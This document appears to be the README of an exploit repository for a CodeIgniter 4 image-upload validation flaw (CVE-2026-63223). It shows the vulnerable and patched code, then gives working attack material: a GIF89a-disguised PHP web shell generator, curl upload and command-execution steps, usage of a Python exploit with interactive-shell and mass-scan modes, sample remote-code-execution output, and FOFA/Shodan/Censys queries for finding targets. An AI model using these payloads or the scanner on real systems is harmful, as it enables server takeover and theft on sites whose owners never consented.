CVE-2026-63223

// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
    // ...
    $type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
    //      ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
    if (mb_strpos($type, 'image') !== 0) {
        return false;  // "image/gif" → passes!
    }
    return true;  // never checks getClientExtension() = "php"
}

1. يُنشئ المهاجم قشرة ويب PHP بترويسة GIF89a
   → يُبلّغ file(1) عن "GIF image data"
2. يرسل طلب POST متعدد الأجزاء إلى نقطة النهاية المعرضة (/upload/avatar)
   → يتحقق is_image: image/gif → نجح
   → يُحفظ الملف باسم shell.php في /uploads/
3. GET /uploads/shell.php?c=id
   → Apache يمرر .php إلى PHP-FPM → ينفّذ PHP
   → يُخرج GIF89a كنص عادي، ثم يُنفَّذ كود <?php
4. RCE بصلاحيات www-data

// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    //                   ↑ NOW checks getClientExtension() = "php"!
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    //      ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
    return mb_strpos($type, 'image') !== 0;  // TRUE → REJECT!
}

git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests

# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar

# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"

# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell

# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php

# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20

  -t, --target       عنوان URL لهدف واحد
  -f, --file         قائمة الأهداف، هدف واحد في كل سطر
  -e, --endpoint     نقطة نهاية الرفع المعرضة (الافتراضي: /upload/avatar)
  --field FIELD      اسم حقل نموذج الرفع (الافتراضي: avatar)
  --method {gif,jpg,png}  تمويه البايتات السحرية (الافتراضي: gif)
  --filename NAME    اسم ملف القشرة (الافتراضي: shell.php)
  -c, --command      أمر القشرة المراد تنفيذه (الافتراضي: id)
  --shell            وضع القشرة شبه التفاعلية
  -o, --output       حفظ عناوين RCE في ملف
  --threads          عدد العاملين المتزامنين (الافتراضي: 30)

$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"

  Host          : ci4-app.com
  CodeIgniter 4 : YES
  Upload        : YES
  Shell URL     : http://ci4-app.com/uploads/shell.php
  RCE           : YES

  RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01

# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar

# Execute
curl http://target/uploads/evil.php?c=id

FOFA:   body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"